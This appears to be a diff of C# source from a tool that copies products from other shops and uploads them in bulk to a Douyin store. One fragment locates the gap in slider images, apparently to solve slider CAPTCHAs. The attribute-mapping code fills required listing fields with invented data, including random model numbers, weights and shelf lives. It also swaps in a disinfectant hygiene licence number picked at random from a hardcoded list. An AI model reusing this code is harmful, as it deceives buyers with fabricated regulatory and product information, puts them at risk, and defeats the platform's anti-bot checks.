EncoderParameter encoderParam = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, quality);
encoderParams.Param[0] = encoderParam;
imgSource.Dispose();
return outBmp;
}
public int CalculateNick(Bitmap bitmap, int v)
{
int iNickX = 0;
int iDis = 5; //差异值
List<int> lstiNickX = new List<int>();
for (int y = 0; y < bitmap.Height; y++)
{
for (int x = 0; x < bitmap.Width - v; x++)
{
Color color1 = bitmap.GetPixel(x, y);
Color color2 = bitmap.GetPixel(x + 1, y);
int icolor1 = GetRGBFromColor(color1);
int icolor2 = GetRGBFromColor(color2);
double dDistance = GetDistance(color2, color1);
if (dDistance > iDis && icolor2 < icolor1)
{
for (int i = 0; i < v + v / 2; i++)
{
iNickX = x + i;
if (iNickX >= bitmap.Width - 1)
{
continue;
}
Color colorNickPre = bitmap.GetPixel(iNickX, y);
Color colorNickAft = bitmap.GetPixel(iNickX + 1, y);
int icolorNickPre = GetRGBFromColor(colorNickPre);
int icolorNickAft = GetRGBFromColor(colorNickAft);
double dNickDistance = GetDistance(colorNickAft, colorNickPre);
if (dNickDistance > dDistance && icolorNickAft > icolorNickPre)
{
int iGap = Math.Abs(iNickX - x - v);
if (iGap <= 2)
{
lstiNickX.Add(x);
}
break;
}
}
}
}
}
if (lstiNickX.Count > 0)
{
iNickX = GetRight(lstiNickX);
//label1.Text = iNickX.ToString();
}
return iNickX;
}
/// <summary>
/// 滑块的宽度
/// </summary>
/// <param name="bitmap"></param>
/// <param name="v"></param>
/// <returns></returns>
public int CalculateNickNew(Bitmap bitmap, int v = 39)
{
int iNickX = 0;
decimal idif = 0.50m; // 差异比例
List<int> lstiNickX = new List<int>();
for (int y = 0; y < bitmap.Height; y++)
{
for (int x = 0; x < bitmap.Width - v - 1; x++)
{
Color color1 = bitmap.GetPixel(x, y);
Color color2 = bitmap.GetPixel(x + 1, y);
int icolor1 = color1.R + color1.G + color1.B;
int icolor2 = color2.R + color2.G + color2.B;
if (color2.R < color1.R * (1 - idif) && color2.G < color1.G * (1 - idif) && color2.G < color1.G * (1 - idif))
{
for (int i = 1; i < v + v / 2; i++)
{
iNickX = x + i;
if (iNickX >= bitmap.Width - 1)
{
continue;
}
Color color3 = bitmap.GetPixel(iNickX, y);
Color color4 = bitmap.GetPixel(iNickX + 1, y);
int icolor3 = GetRGBFromColor(color3);
int icolor4 = GetRGBFromColor(color4);
if (color3.R < color4.R * (1 - idif) && color3.G < color4.G * (1 - idif) && color3.G < color4.G * (1 - idif))
{
int iGap = Math.Abs(iNickX - x - v);
if (iGap <= 2)
{
lstiNickX.Add(x);
break;
}
}
}
}
}
}
if (lstiNickX.Count > 0)
{
iNickX = GetRight(lstiNickX);
//label1.Text = iNickX.ToString();
}
return iNickX + 1;
}
public int GetRGBFromColor(Color color)
{
return (int)(((int)color.B << 16) | (ushort)(((ushort)color.G << 8) | color.R));
byte r = color.R;
byte g = color.G;
byte b = color.B;
//转化为32bit RGB值:
int rgb = r + g * 256 + b * 256 * 256;
return rgb;
}
private double GetDistance(Color color1, Color color2)
{
double y1, u1, v1, y2, u2, v2;
y1 = 0.299 * color1.R + 0.587 * color1.G + 0.114 * color1.B;
u1 = -0.14713 * color1.R - 0.28886 * color1.G + 0.436 * color1.B;
v1 = 0.615 * color1.R - 0.51498 * color1.G - 0.10001 * color1.B;
y2 = 0.299 * color2.R + 0.587 * color2.G + 0.114 * color2.B;
u2 = -0.14713 * color2.R - 0.28886 * color2.G + 0.436 * color2.B;
v2 = 0.615 * color2.R - 0.51498 * color2.G - 0.10001 * color2.B;
return Math.Sqrt((y1 - y2) * (y1 - y2) + (u1 - u2) * (u1 - u2) + (v1 - v2) * (v1 - v2));
}
private int GetRight(List<int> lstiNickX)
{
var res = from n in lstiNickX
group n by n into g
orderby g.Count() descending
select g;
var gr = res.First();
return gr.Key;
}
}
}
+150
View File
@@ -0,0 +1,150 @@
using AllBase;
using AllBase.Model.Param.FissionManage;
using Newtonsoft.Json;
using Newtonsoft.Json.Linq;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
namespace Work.BLL.Upload
{
public class FissionDataBaseBLL
{
/// <summary>
/// 获取分组
/// </summary>
public List<string> GetCategoryGroup()
{
List<string> cateList = new List<string>();
string getRequestData = UserLogin.GetSignaturex() + "&act=get";
string getUrl = BaseClass.BuildFissionObjString("category_api");
string categoryResult = GetHtml.PostUtf8(getUrl, getRequestData);
try
{
JObject jCategoryObj = (JObject)JsonConvert.DeserializeObject(categoryResult);
if (jCategoryObj == null)
{
return cateList;
}
string categoryList = jCategoryObj["list"].ToString();
JArray jCategoryList = (JArray)JsonConvert.DeserializeObject(categoryList);
cateList.Clear();
cateList.Add("不限");
foreach (var category in jCategoryList)
{
string cateStr = category["cate_name"].ToString();
var isHas = cateList.Find(x => x != null && x.Equals(cateStr));
if (isHas != null)
{
continue;
}
cateList.Add(cateStr);
}
}
catch
{
}
return cateList;
}
/// <summary>
/// 获取主分类
/// </summary>
public List<string> GetMainCate()
{
List<string> mainCateList = new List<string>();
string getRequestData = UserLogin.GetSignaturex() + "&act=get_cate";
string getUrl = BaseClass.BuildFissionObjString("fession_api");
string categoryResult = GetHtml.PostUtf8(getUrl, getRequestData);
try
{
var MainCateObj = JsonConvert.DeserializeObject<MainCate>(categoryResult);
mainCateList.Clear();
mainCateList.Add("不限");
if (MainCateObj != null && MainCateObj.list.Count > 0)
{
for (int i = 0; i < MainCateObj.list.Count; i++)
{
var isHas = mainCateList.Find(x => x != null && x.Contains(MainCateObj.list[i].main_cate));
if (isHas != null)
{
continue;
}
mainCateList.Add(MainCateObj.list[i].main_cate);
}
}
}
catch (Exception ex)
{
}
return mainCateList;
}
/// <summary>
/// 删除产品数据库裂变商品
/// </summary>
/// <param name="FessIds"></param>
public string DelFessionData(string FessIds, bool isMultiDelete = false)
{
string getRequestData = UserLogin.GetSignaturex() + "&act=delete&id=" + FessIds;
string getUrl = BaseClass.BuildFissionObjString("fession_api");
string Result = GetHtml.PostUtf8(getUrl, getRequestData);
return Result;
}
/// <summary>
/// 恢复被删除的产品数据库裂变商品
/// </summary>
/// <param name="strTemp"></param>
public void RestoreFessionData(string strTemp)
{
string getRequestData = UserLogin.GetSignaturex() + "&act=update&ids=" + strTemp;
string getUrl = BaseClass.BuildFissionObjString("fession_recover");
string Result = GetHtml.PostUtf8(getUrl, getRequestData);
}
public FissionData GetFessionDetailById(int FessId)
{
string url = BaseClass.BuildFissionObjString("fession_api");
string requestData = UserLogin.GetSignaturex() + "&act=get_detail";
string paraStr = "&id=" + FessId;
requestData = requestData + paraStr;
string htmlData = GetHtml.PostUtf8(url, requestData);
var FessionObj = JsonConvert.DeserializeObject<FissionData>(htmlData);
if (FessionObj == null || string.IsNullOrEmpty(FessionObj.main_pic))
{
Thread.Sleep(1000);
FessionObj = JsonConvert.DeserializeObject<FissionData>(htmlData);
}
return FessionObj;
}
}
public class MainCateList
{
/// <summary>
///
/// </summary>
public string main_cate { get; set; }
}
public class MainCate
{
/// <summary>
/// List
/// </summary>
public List<MainCateList> list { get; set; }
/// <summary>
///
/// </summary>
public string page { get; set; }
/// <summary>
///
/// </summary>
public string next_url { get; set; }
}
}
+92
View File
@@ -0,0 +1,92 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Work.BLL.Upload
{
public class UploadMaterialBLL
{
public bool DelOldestApiMaterialFolder(AllBase.Model.Result.DouShopLoginInfo shop)
{
///^(\d{4})-(\d{2})-(\d{2})/
var folder = GetApiMaterialFolder(shop);
if (folder != null && folder.Contains("\"code\":10000"))
{
var JObj = AllBase.JsonHelper.JObjectParse(folder);
if (JObj?["data"]?["folder_info_list"] != null)
{
foreach (Newtonsoft.Json.Linq.JObject j in JObj?["data"]?["folder_info_list"])
{
var s = j?["name"]?.ToString();
if (s != null && AllBase.BaseRegex.GetMatchRegex(ref s, "^(\\d{4})-(\\d{2})-(\\d{2})").Count > 0)
{
var folderId = j["folder_id"]?.ToString();
DouyinApiClass.DouyinApi api = new DouyinApiClass.DouyinApi(shop);
api.JsonData = new Dictionary<string, string>();
//api.JsonData.Add("name", DateTime.Now.ToString("yyyy-MM-dd"));
api.JsonData.Add("folder_ids", "[" + folderId + "]");
string html = api.MaterialDeleteFolder();
if (html != null && html.Contains("\"code\":10000") && html.Contains("\"success_ids\":[\"" + folderId + "\"]"))
return true;
}
}
}
}
return false;
}
/// <summary>
///
/// </summary>
/// <param name="shop"></param>
/// <param name="parent_folder_id"></param>
/// <param name="page_size">每页返回的数量。最大为100,默认为50</param>
/// <param name="page_num">分页的页数,从1开始</param>
/// <param name="order_by">排序方式 0-创建时间倒序 1-创建时间正序 2-修改时间倒序 3-修改时间正序 4-文件夹名倒序 5-文件夹名正序</param>
/// <returns></returns>
public string GetApiMaterialFolder(AllBase.Model.Result.DouShopLoginInfo shop, string parent_folder_id = "0", int page_size = 10, int page_num = 1, int order_by = 1,
string create_time_start = "", string create_time_end = "")
{
//var api = new DouyinApiClass.DouyinApi(shop);
//var folderResult = api.MaterialSearchFolder(1, 10);
//return folderResult;
DouyinApiClass.DouyinApi api = new DouyinApiClass.DouyinApi(shop);
api.JsonData = new Dictionary<string, string>();
//api.JsonData.Add("name", DateTime.Now.ToString("yyyy-MM-dd"));
api.JsonData.Add("parent_folder_id", parent_folder_id);
api.JsonData.Add("order_by", order_by.ToString());
api.JsonData.Add("page_num", page_num.ToString());
api.JsonData.Add("page_size", page_size.ToString());
if (!string.IsNullOrEmpty(create_time_start))
api.JsonData.Add("create_time_start", create_time_start.ToString());
if (!string.IsNullOrEmpty(create_time_end))
api.JsonData.Add("create_time_end", create_time_end.ToString());
string html = api.GetSearchFolder();
if (html == null)
return "";
return html;
}
public string GetApiMaterial(AllBase.Model.Result.DouShopLoginInfo shop, string parent_folder_id = "0", int page_size = 10, int page_num = 1, int order_by = 1,
string create_time_start = "", string create_time_end = "")
{
DouyinApiClass.DouyinApi api = new DouyinApiClass.DouyinApi(shop);
api.JsonData = new Dictionary<string, string>();
//api.JsonData.Add("name", DateTime.Now.ToString("yyyy-MM-dd"));
api.JsonData.Add("folder_id", parent_folder_id);
api.JsonData.Add("order_by", order_by.ToString());
api.JsonData.Add("page_num", page_num.ToString());
api.JsonData.Add("page_size", page_size.ToString());
if (!string.IsNullOrEmpty(create_time_start))
api.JsonData.Add("create_time_start", create_time_start.ToString());
if (!string.IsNullOrEmpty(create_time_end))
api.JsonData.Add("create_time_end", create_time_end.ToString());
string html = api.GetSearchMaterial();
return html == null ? "" : html;
}
}
}
File diff suppressed because it is too large. Load diff
+849
View File
@@ -0,0 +1,849 @@
using AllBase;
using AllBase.Model.Result;
using NaiBa.Util.Extension;
using Newtonsoft.Json;
using Newtonsoft.Json.Linq;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Work.DouyinApiClass;
namespace Work.BLL.Upload
{
public class UploadPropertyBLL
{
/// <summary>
/// 是否模糊匹配属性选项
/// </summary>
public static bool IsFuzzyMatching = false;
public static string getCatePropertyInterface(string c3, DouShopLoginInfo shop, ProductCollectBase pc)
{
//string url = "https://fxg.jinritemai.com/product/tproduct/formatTpl?category_leaf_id=" + c3;
//string htmlx = GetPostTaobaoHtml.UploadTaobao(url, "", true, shop.Cookies);
DouyinApi api = new DouyinApi(shop);
api.JsonData = new Dictionary<string, string>();
api.JsonData.Add("category_leaf_id", c3);
string result = api.GetCateProperty();
return result;
}
public CatePropertyResponseInfo getCatePropertyInterfaceV2(string c3, DouShopLoginInfo shop)
{
DouyinApi api = new DouyinApi(shop);
api.JsonData = new Dictionary<string, string>();
api.JsonData.Add("category_leaf_id", c3);
string html = api.GetCatePropertyV2();
if (html.Contains("access_token已过期"))
{
shop.ApiAuthStatus = "未授权";
}
if (!html.Contains("\"required\""))
{
//return "";
}
CatePropertyResponseInfo cateProperyInfo;
try
{
cateProperyInfo = JsonConvert.DeserializeObject<CatePropertyResponseInfo>(html);
return cateProperyInfo;
}
catch
{
cateProperyInfo = new CatePropertyResponseInfo();
}
return cateProperyInfo;
}
/// <summary>
/// 根据服务端返回的类目属性要求分析获取属性字段
/// </summary>
/// <param name="cateProperyInfo"></param>
/// <param name="shop"></param>
/// <param name="pcb"></param>
/// <returns></returns>
public string GetCatePropertyAnalysis(CatePropertyResponseInfo cateProperyInfo, DouShopLoginInfo shop, ProductCollectBase pcb)
{
if (cateProperyInfo?.data?.data == null)
{
return "{}";
}
//if (property == null || !property.Contains("货号"))
// property = "货号|" + from_name + p.from_id.ToString() + "^" + property;
// 拆分拼多多属性中含 "/" 的集合属性,如 "key":"衣长/袖长","value":"常规款/短袖"
var props = pcb.Prop.Where(p => p.Key.Contains("/")).ToList();
foreach (var pr in props)
{
var prKeys = pr.Key.Split(new char[] { '/' }, StringSplitOptions.RemoveEmptyEntries);
var prValues = pr.Value.Split(new char[] { '/' }, StringSplitOptions.RemoveEmptyEntries);
if (prKeys.Length == prValues.Length)
{
for (int j = 0; j < prKeys.Length; j++)
{
pcb.Prop.Add(new KeyValueBase() { Key = prKeys[j], Value = prValues[j] });
}
pcb.Prop.Remove(pr);
}
}
Dictionary<string, List<product_format_new_item>> dicProp = new Dictionary<string, List<product_format_new_item>>();
string html = "";
for (int i = 0; i < cateProperyInfo.data.data.Count; i++)
{
string pName = "";
string pId = "0";
var douyinProp = cateProperyInfo.data.data[i];
var upProp = pcb.Prop.Find(pr => pr.Key == douyinProp.property_name);
if (upProp == null)
{
var upProps = pcb.Prop.Where(pr => UpProperty2DouyinPropertyNameConverter(pr.Key, douyinProp.property_name) == douyinProp.property_name).ToList();
upProp = upProps?.Find(pr => UpProperty2DouyinPropertyValueConverter(pr.Value, douyinProp.options).Count > 0);
if (upProp == null)
upProp = upProps?.FirstOrDefault();
}
var options = "";
if (douyinProp.options?.FirstOrDefault() != null)
options = string.Join(",", douyinProp.options?.Select(o => o.name));
var x = html;
#region 优先单独处理特殊属性
if (douyinProp.property_name == "品牌")
{
if (pcb.Prop.Any(pr => pr.Key == "品牌") && pcb.Prop.Any(pr => pr.Key == "品牌编号"))
pName = pcb.Prop.FirstOrDefault(pr => pr.Key == "品牌").Value;
else if (douyinProp.required)
pName = "无品牌";
if (!string.IsNullOrEmpty(pName))
{
html += "^品牌|" + pName;
}
goto GetNextProperty;
}
if (douyinProp.property_name == "型号")
{
if (!douyinProp.required && (upProp == null || upProp.Value?.Length < 4))
continue;
upProp = pcb.Prop.FirstOrDefault(pr => pr.Key == "型号" && pr.Value != "缺省");
if (upProp != null)
{
pName = upProp.Value;
}
else
{
pName = Randomx.GetWord(2) + "-" + Randomx.GetNumber(Randomx.GetId(3, 6));
}
if (!string.IsNullOrEmpty(pName))
{
var op = douyinProp.options.Find(o => o.name == pName);
if (op != null)
{
pId = op.value;
}
else if (douyinProp.diy_type == 1)
{
pName = "$diy$" + pName;
}
html += "^型号|" + pName;
}
goto GetNextProperty;
}
if (douyinProp.property_name == "适用型号" && douyinProp.required)
{
upProp = pcb.Prop.FirstOrDefault(pr => pr.Key.Contains("适用型号") && pr.Value != "缺省");
if (upProp != null)
pName = upProp.Value;
else
pName = Randomx.GetWord(Randomx.GetId(2, 5)) + "-" + Randomx.GetNumber(Randomx.GetId(3, 8));
if (!string.IsNullOrEmpty(pName))
{
html += "^适用型号|" + pName;
}
goto GetNextProperty;
}
if (douyinProp.property_name == "产地" && (upProp == null || douyinProp.options?.FirstOrDefault(o => o.name == upProp.Value) == null))
{
if (!douyinProp.required)
continue;
if (douyinProp.options.Count > 0)
{
var op = douyinProp.options.Find(o => o.name == "中国大陆");
if (op == null)
{
upProp = pcb.Prop.FirstOrDefault(p => p.Key.Contains("产地") && p.Key != "产地");
if (upProp != null)
op = douyinProp.options?.FirstOrDefault(o => o.name == upProp.Value);
}
if (op != null)
{
pId = op.value;
pName = op.name;
html += "^产地|" + pName;
goto GetNextProperty;
}
}
}
if (douyinProp.property_name == "单果重量")
{
// 水果生鲜直接上传特例
if (douyinProp.required && (pcb.main_cat_name.Contains("水果") || pcb.main_cat_name.Contains("生鲜")))
{
pName = Randomx.GetId(1, 6) + "00";
html += "^单果重量|" + pName;
goto GetNextProperty;
}
}
if (douyinProp.property_name == "单果重量(g)")
{
// 水果生鲜直接上传特例
if (douyinProp.required && (pcb.main_cat_name.Contains("水果") || pcb.main_cat_name.Contains("生鲜")))
{
if (html.Contains("单果重量|"))
pName = BaseRegex.GetMatchRegex(ref html, "单果重量|(\\d{1,10})")[1].Groups[0].ToString();
else
pName = Randomx.GetId(1, 6) + "00";
html += "^单果重量(g)|" + pName;
goto GetNextProperty;
}
}
if (douyinProp.property_name == "包装方式")
{
// 水果生鲜直接上传特例
if (douyinProp.required && (pcb.main_cat_name.Contains("水果") || pcb.main_cat_name.Contains("生鲜")) && douyinProp.options.Any(o => o.name == "食用农产品"))
{
var op = douyinProp.options.Find(o => o.name == "食用农产品");
pId = op.value;
pName = "食用农产品";
html += "^包装方式|" + pName;
goto GetNextProperty;
}
}
if (douyinProp.property_name == "品质认证")
{
// 水果生鲜、茶叶、食品保健直接上传特例(选无认证不用填认证证书)
if (douyinProp.required && (pcb.main_cat_name.Contains("水果") || pcb.main_cat_name.Contains("生鲜")
|| pcb.main_cat_name.Contains("茶") || pcb.main_cat_name.Contains("食品保健"))
&& douyinProp.options.Any(o => o.name == "无认证" || o.name == "无认证认证"))
{
var op = douyinProp.options.Find(o => o.name == "无认证" || o.name == "无认证认证");
pId = op.value;
pName = op.name;
html += "^品质认证|" + pName;
goto GetNextProperty;
}
}
if (douyinProp.property_name == "贮存条件")
{
if (upProp == null)
upProp = pcb.Prop.Find(pr => pr.Key == "储藏方法");
PropertiesValuesBase op = null;
if (upProp != null)
op = douyinProp.options.FirstOrDefault(o => upProp.Value.Contains(o.name));
else
op = douyinProp.options.FirstOrDefault(o => o.name == "常温");
if (op == null)
op = douyinProp.options.FirstOrDefault();
if (op != null)
{
pId = op.value;
pName = op.name;
}
if (pName != null)
html += "^贮存条件|" + pName;
goto GetNextProperty;
}
if (douyinProp.property_name == "食品生产许可证编号")
{
var qualify = pcb.qualifications?.FirstOrDefault(q => douyinProp.property_name.Contains(q.quality_name));
if (qualify != null)
{
pName = qualify.quality_number;
html += "^食品生产许可证编号|" + pName;
}
else if (!string.IsNullOrEmpty(upProp?.Value))
{
pName = upProp.Value;
html += "^食品生产许可证编号|" + pName;
}
goto GetNextProperty;
}
if (douyinProp.property_name.Contains("是否为有机食品"))
{
var op = douyinProp.options.FirstOrDefault(o => o.name == "否");
if (op == null)
op = douyinProp.options.LastOrDefault();
pId = op.value;
pName = op.name.Trim();
html += "^" + douyinProp.property_name + "|" + pName;
goto GetNextProperty;
}
if (douyinProp.property_name == "是否有导购视频")
{
var op = douyinProp.options.FirstOrDefault(o => o.name == "否");
if (op == null)
continue;
pId = op.value;
pName = op.name.Trim();
html += "^" + douyinProp.property_name + "|" + pName;
goto GetNextProperty;
}
if (douyinProp.property_name == "单件净含量")
{
if (upProp == null && douyinProp.type == "text")
{
upProp = pcb.Prop.FirstOrDefault(p => p.Key == "净含量");
}
}
if (douyinProp.property_name == "茶种类")
{
if (upProp == null)
{
var op = douyinProp.options.FirstOrDefault(o => pcb.name.Contains(o.name));
if (op == null)
continue;
pId = op.value;
pName = op.name.Trim();
html += "^" + douyinProp.property_name + "|" + pName;
goto GetNextProperty;
}
}
if (douyinProp.property_name == "生产企业名称")
{
}
if (douyinProp.property_name == "糕点种类" && !douyinProp.required)
{
}
if (douyinProp.property_name == "特产品类" && !douyinProp.required)
{
}
if (douyinProp.property_name == "款式")
{
}
if (douyinProp.property_name == "包装方式")
{
if (douyinProp.required == true)
{
if (upProp == null && pcb.main_cat_name == "家纺家具家装")
{
if (douyinProp.options.Count > 0)
{
var op = douyinProp.options.LastOrDefault();
pId = op.value;
pName = op.name.Replace("/", "%2F");
html += "^包装方式|" + op.value; // 此处只能用value不能用name
}
goto GetNextProperty;
}
}
}
#endregion
#region 通用属性操作
if (upProp != null && upProp.Key == "消毒品卫生许可证编号" && !upProp.Value.Contains("消证字"))
{
string[] arr = { "粤卫消证字[2012]第1140号", "粤卫消证字[2020]-50-第0144号", "鄂卫消证字(2010)第(0020)号", "(苏)卫消证字(2014)第3210-0036号", "(津)卫消证字(2012)第0408号" };
upProp.Value = arr[Randomx.GetId(arr.Length)];
}
// 该属性不是必填时,上家总店商品详情没有此属性就跳过
if (upProp == null && !douyinProp.required)
{
continue;
}
#region 处理面料、材质、含量属性
if (douyinProp.property_name.Contains("面料") ||
douyinProp.property_name.Contains("材质") ||
douyinProp.property_name.Contains("含量"))
{
// 如果上家没有对应属性,在避免违规的情况下,按照以下规则处理属性填写逻辑
if (upProp == null)
{
// 含量如果有多少多少以下,选多少多少以下
if (string.IsNullOrEmpty(pName) && douyinProp.property_name.Contains("含量") && douyinProp.options?.FirstOrDefault(o => o.name.Contains("以下")) != null)
{
var op = douyinProp.options?.FirstOrDefault(o => o.name.Contains("以下"));
pId = op.value;
pName = op.name;
}
if (!string.IsNullOrEmpty(pName))
{
html += "^" + douyinProp.property_name + "|" + pName;
goto GetNextProperty;
}
}
else
{
// 特殊处理成分含量
if (douyinProp.property_name.Contains("含量") && douyinProp.options?.FirstOrDefault() != null)
{
string upPropValue = BaseRegex.GetMatchRegexString(upProp.Value, @"([1-9]\d*\.?\d*)|(0\.\d*[1-9])%");
if (string.IsNullOrEmpty(upPropValue))
upPropValue = "0";
// 抖音成分含量里居然有不是数值单位的选项,如:棉、聚酯纤维等,将这些选项过滤出去
var opts = douyinProp.options.Where(o => BaseRegex.GetMatchRegexString(o.name, @"([\w\W]+?)%")?.ParseToDecimal() >= 0).ToList();
opts = opts.OrderBy(o => BaseRegex.GetMatchRegexString(o.name, @"([\w\W]+?)%")?.ParseToDecimal()).ToList();
foreach (var op in opts)
{
string propValue = BaseRegex.GetMatchRegexString(op.name, @"([\w\W]+?)%");
if (propValue?.ParseToDecimal() >= upPropValue.ParseToDecimal())
{
pId = op.value;
pName = op.name.Trim();
break;
}
else if (opts.Last(o => o.name != "100%") == op && op.name.Contains("以上") && upPropValue.ParseToDecimal() > propValue?.ParseToDecimal())
{
pId = op.value;
pName = op.name.Trim();
break;
}
}
if (pName == "")
{
var op = douyinProp.options.FirstOrDefault(o => o.name.Contains("以下"));
if (op == null)
op = douyinProp.options.FirstOrDefault(o => o.name.Contains("其他"));
if (op != null)
{
pId = op.value;
pName = op.name.Trim();
}
}
if (!string.IsNullOrEmpty(pName))
{
html += "^" + douyinProp.property_name + "|" + pName;
goto GetNextProperty;
}
}
}
// 如果上家对应面料、材质、含量属性不存在且没有使用模糊匹配,则直接跳过该属性,不论是否必填
if ((upProp == null
|| UpProperty2DouyinPropertyValueConverter(upProp.Value, douyinProp.options).Count == 0)
&& !IsFuzzyMatching)
{
// 属性为字符型且上家不为空的直接填写上家值
if (string.IsNullOrEmpty(pName) && douyinProp.type == "text")
{
if (upProp != null)
pName = upProp.Value;
else if (douyinProp.property_name.Contains("材质"))
pName = "普通材质";
else if (douyinProp.property_name.Contains("净含量"))
pName = "<100";
else if (douyinProp.property_name.Contains("有效成分含量"))
pName = "<29%";
else
pName = "其他/Other";
html += "^" + douyinProp.property_name + "|" + pName;
goto GetNextProperty;
}
// 支持自定义,填写其他
if (douyinProp.diy_type == 1)
{
if (upProp == null || upProp.Value == "其他")
pName = "$diy$其他/Other";
else
pName = "$diy$" + upProp.Value;
html += "^" + douyinProp.property_name + "|" + pName;
goto GetNextProperty;
}
continue;
}
}
#region 模糊查找上家商品面料、材质、含量属性
if (douyinProp.property_name.Contains("面料") || douyinProp.property_name.Contains("材质"))
{
if (upProp == null)
upProp = pcb.Prop.Find(pr => pr.Key.Contains("面料") || pr.Key.Contains("材质"));
if (upProp == null)
{
var op = douyinProp.options?.Find(o => pcb.name.Contains(o.name));
if (op != null)
{
pId = op.value;
pName = op.name;
html += "^" + douyinProp.property_name + "|" + pName;
goto GetNextProperty;
}
}
}
#endregion
#endregion
if (upProp == null && douyinProp.required && douyinProp.options?.FirstOrDefault() == null)
{
if (douyinProp.property_name == "备案/批准文号")
{
pName = "";
}
if (douyinProp.property_name == "CCC证书编号")
{
pName = "";
}
if (douyinProp.property_name == "吊牌价")
{
pName = (pcb.market_price == 0 ? pcb.price * 2 : pcb.market_price).ToString();
}
if (douyinProp.property_name == "保质期")
{
pName = "30";
}
if (douyinProp.property_name == "生产企业名称")
{
//pName = "工厂店"; //pvalue = "清风";
pName = shop.ShopAccount;
}
if (douyinProp.property_name == "上市年份季节")
{
pName = DateTime.Now.AddMonths(-3).Year.ToString();
}
if (douyinProp.property_name == "毛重") // todo: 这种没有如何处理
{
pName = "暂无数据";
}
if (douyinProp.property_name == "包装体积")
{
pName = "暂无数据";
}
//if (string.IsNullOrEmpty(pName))
// pName = "" + Randomx.GetId(1000, 9999);
if (!string.IsNullOrEmpty(pName))
{
html += "^" + douyinProp.property_name + "|" + pName;
goto GetNextProperty;
}
}
// 上家属性不为空
if (upProp != null)
{
// 抖音类目属性为文本类型时
if (douyinProp.type == "text")
{
pName = upProp.Value;
html += "^" + douyinProp.property_name + "|" + pName;
goto GetNextProperty;
}
// 抖音类目属性非文本类型且选项为空时
else if (douyinProp.options?.FirstOrDefault() == null)
{
pName = upProp.Value.ToString().Trim();
html += "^" + douyinProp.property_name + "|" + pName;
goto GetNextProperty;
}
// 抖音类目属性列表数量大于0且与上家匹配时
else if (UpProperty2DouyinPropertyValueConverter(upProp.Value, douyinProp.options).Count > 0)
{
var ops = UpProperty2DouyinPropertyValueConverter(upProp.Value, douyinProp.options);
foreach (var op in ops)
{
pName += op.name + ",";
pId += op.value + ",";
}
pName = pName.Trim(',');
pId = pId.Trim(',');
html += "^" + douyinProp.property_name + "|" + pName;
goto GetNextProperty;
}
// 模糊匹配时去找类似的选项
else if (douyinProp.required && IsFuzzyMatching &&
douyinProp.options?.FirstOrDefault(o => upProp.Value.Contains(o.name) && o.name.Length > upProp.Value.Length / 2M) != null)
{
var optionsTemp = douyinProp.options?.Where(o => upProp.Value.Contains(o.name) && o.name.Length > upProp.Value.Length / 2M).ToList();
if (optionsTemp.Count > 1)
optionsTemp = optionsTemp.Take(1).ToList();
foreach (var op in optionsTemp)
{
pId = op.value;
pName += op.name + ",";
if (douyinProp.type != "multi_select")
break;
}
pName = pName.Trim(',');
html += "^" + douyinProp.property_name + "|" + pName;
goto GetNextProperty;
}
}
if (upProp == null && douyinProp.required)
{
if (douyinProp.options?.FirstOrDefault() != null)
{
var op = douyinProp.options.FirstOrDefault(o => o.name.Contains("其他") ||
o.name.Contains("不限") ||
o.name.Contains("默认") ||
o.name.Contains("通用") ||
o.name.Contains("中性") ||
o.name.Contains("缺省"));
if (op != null)
{
pName = op.name.ToString().Trim();
pId = op.value;
html += "^" + douyinProp.property_name + "|" + pName;
goto GetNextProperty;
}
}
}
// 前面都未能成功匹配
if (pName == "" && douyinProp.required)
{
if (douyinProp.property_name == "测量功能")
{
var op = douyinProp.options?.Find(o => pcb.name.Contains(o.name));
}
if (douyinProp.property_name == "图案")
{
var op = douyinProp.options?.Find(o => pcb.name.Contains(o.name.Replace("图案", "")));
if (op != null)
{
pName = op.name.ToString().Trim();
pId = op.value;
goto GetNextProperty;
}
}
// 是否可以随意填写值
if (douyinProp.diy_type == 1)
{
if (upProp != null && upProp.Value != "其他" && upProp.Value != "其他/other")
pName = "$diy$" + upProp.Value;
else if (douyinProp.property_name == "适用年龄")
pName = "$diy$通用";
else if (douyinProp.property_name == "植物品种")
{
int subIndex = Randomx.GetId(15, 20);
var subText = pcb.name.Length > subIndex ? pcb.name.Substring(0, subIndex) : pcb.name;
pName = "$diy$" + subText;
}
else
pName = "$diy$其他/Other";
}
else
if (douyinProp.type == "text")
{
if (douyinProp.property_name == "产品名称")
pName = pcb.name;
if (douyinProp.property_name == "连接方式" || douyinProp.property_name == "兼容平台")
pName = "其他/Other";
else
pName = "通用";
}
else
if (douyinProp.options?.FirstOrDefault() != null)
{
if (upProp != null)
{
var ops = douyinProp.options.Where(o => ("," + upProp.Value + ",").Contains("," + o.name + ",")).ToList();
if (ops.Count > 0)
{
pName = pId = "";
foreach (var op in ops)
{
pName += op.name + ",";
pId += op.value + ",";
}
pName = pName.Trim(',');
pId = pId.Trim(',');
}
}
if (string.IsNullOrEmpty(pName))
{
var op = douyinProp.options.Find(o => o.name == "正常规格");
if (op == null && douyinProp.property_name == "适用年龄")
{
op = douyinProp.options.Last(o => o.name.Contains("周岁"));
}
if (op == null)
op = douyinProp.options[Randomx.GetId(douyinProp.options.Count - 1)];
pName = op.name.ToString().Trim();
pId = op.value;
}
}
if (!string.IsNullOrEmpty(pName))
html += "^" + douyinProp.property_name + "|" + pName;
else
continue;
}
GetNextProperty:;
if (!string.IsNullOrEmpty(pName))
{
var pNames = pName.Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries);
var pIds = pId.Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries);
dicProp[douyinProp.property_id.ToString()] = new List<product_format_new_item>();
for (int j = 0; j < pIds.Length; j++)
{
var formatItem = new product_format_new_item
{
diy_type = pNames[j].StartsWith("$diy$") ? 1 : 0,
name = pNames[j].Replace("$diy$", ""),
value = pIds[j].ParseToLong()
};
dicProp[douyinProp.property_id.ToString()].Add(formatItem);
}
}
#endregion
}
var result = html.Replace("^^", "^").Trim('^').Replace("/", "\\/").Replace("$diy$", "");
//return result;
var resultNew = JsonHelper.SerializeObject(dicProp).Replace("\"", "\\\"");
return resultNew;
}
public string UpProperty2DouyinPropertyNameConverter(string upPropName, string douyinPropName)
{
